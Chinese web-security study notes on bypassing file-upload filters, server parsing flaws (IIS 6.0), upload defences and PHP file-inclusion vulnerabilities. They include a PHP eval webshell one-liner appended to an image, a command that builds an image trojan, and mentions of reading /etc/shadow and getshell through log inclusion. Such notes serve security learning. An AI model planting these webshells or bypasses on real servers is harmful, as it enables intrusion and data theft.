• 11.11文件上传绕过


    绕过

    前端绕过

    (1)修改前端的JS,添加白名单

    (2)浏览器禁用JS

    (3)破坏JS代码,修改引用的地方

    (4)修改webshell后缀名,shell.php-->shell.png,拦截数据包,修改后放行

     

    后端绕过

    (1)后缀名检测绕过

    1. 大小绕过
    2. 找不在黑名单内的文件后缀名,需要服务器能够解析php2
    3. 利用windows系统特性,以空格和.结尾的文件
    4. 利用NTFS数据流绕过

     

    这里生成的文件内容没有截全,都为<?php phphinfo();?>

    (2)MIME验证绕过

    截取数据包修改请求头中content-type为常见的图片类型

    (3)文件内容检测绕过(文件头检测)

    服务器验证单签文件的文件头(魔数头),如果被拦截,可以添加容许上传文件的文件头。

    拦截数据包,在恶意代码前面直接添加文件头

    制作图片马,上传拦截数据包修改后缀名

    copy 1.png/b+ shell.php/a  shell.png

    edjpgcom一句话木马程序辅助生成图片马

    Linux中:

    echo “<?php@eval($_POST[‘pass’])?>” >> a.jpg 没有文件头

    >> 表示在后面追加,这里不能用 >

     

    截断上传

     

     

    文件加载检测

    一般是调用的API或函数去进行文件加载检测,常见的是图像渲染测试

    一般两种攻击方式:渲染测试绕过、攻击文件加载器自身

    如果遇到二次渲染,想绕过是很难的,一般只能对文件加载器进行攻击

    利用.haccess上传webshell

    上传的注意事项:如果想通过文件上传来getshell,需要注意:文件可上传+文件可解析(后缀名+路径可知)

    解析漏洞

    默认情况下服务器或中间件解析了一些图片或者目录等常规文件,这些文件不是脚本文件却被解析了。隐藏在里面的恶意代码被解析,说明该服务器或中间件出现了解析漏洞。

    常见的解析漏洞:

     

    (1)IIS6.0解析漏洞

    目录解析

    形式:www.xxx.com/xx.asp/xx.jpg

    原理:服务器默认会把xx.asp目录下的文件都解析成asp文件

    文件解析

    形式:www.xxx.com/xx.asp;.jpg

    原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg就被解析成asp文件了

    文件上传漏洞防御

    (1)文件上传的目录设置为不可执行

    (2)综合多种方式判断文件类型,综合多种检测方式(MIME+后缀名+白名单)

    (3)Webshell=文件可上传+文件可解析,使用随机数改写文件名或者文件路径

    (4)设置一个单独的文件服务器,严格控制权限,文件服务器权限设置为可读可写不可执行

    (5)针对图片,二次渲染

    (6)针对解析漏洞防御(上传+平台解析)

    1>升级IIS为高版本,注意cgi_pathinfo的设置

    2>低版本IIS需要严格控制文件的上传,使用正则匹配设置文件名

    3>升级高版本的apache,并注意安全配置

    4>升级版本。注意fix_pathinfo的配置

    5>考虑使用第三方防护工具 WAF、云盾、云锁等)

    文件包含漏洞

    概念

    文件包含:引用打包的类、函数或文件等,方便使用者去调用特定的功能代码,如果包含过来的文件是没有被过滤或者过滤不严谨,就会出现文件包含漏洞,也就意味着包含过来的文件中有恶意代码就有可能被解析

    php中主要是通过特定函数去引入文件,然后引入的文件没有进行合理的校验,最终导致恶意代码的注入

    漏洞形成条件:

    1. 参数用户可控,包含的文件名用户可控
    2. 服务端对包含的文件没有过滤或者过滤不严谨

    Php中用来做文件包含的函数如下:

    Include()

    Include_once()

    Require()

    Require_once()

    文件包含的分类:

    本地文件包含(服务器本地):LFIlocalfileinclude),包含的是服务区本地的文件,危害:敏感信息泄露(配置文件/密码文件/数据库文件)、getshell、命令执行等等

    远程文件包含(RFI):从目标服务器中去包含远程服务器(攻击者)中恶意文件(一般是恶意代码)。危害:信息泄露、getshell、执行系统命令等等

    本地文件包含漏洞利用知识

    漏洞条件:allow_url_include : 无要求 是否允许引用URL文件

    allow_url_fopen  :无要求 是否允许打开URL文件

    读敏感文件,比如配置文件:/etc/passwd  /etc/shadow  session文件等

    getshell:(1)直接通过文件包含向服务器中写入木马文件(需要伪协议的帮助)

    2)文件上传(图片马之类)+文件包含

    3)如果服务器开启了日志记录功能,包含日志文件可以getshell

  • 相关阅读:
    HTTP与HTTPS
    各种排序算法的比较
    数据结构之堆排序
    数据结构之希尔排序
    快速排序与归并排序的区别与联系
    数据结构之快速排序
    DVWA-4.3 File Inclusion(文件包含)-High-利用file协议绕过防护策略
    DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则
    DVWA-4.1 File Inclusion(文件包含)-Low
    DVWA-3.4 CSRF(跨站请求伪造)-Impossible
  • 原文地址:https://www.cnblogs.com/x98339/p/11834126.html
Copyright © 2020-2023  润新知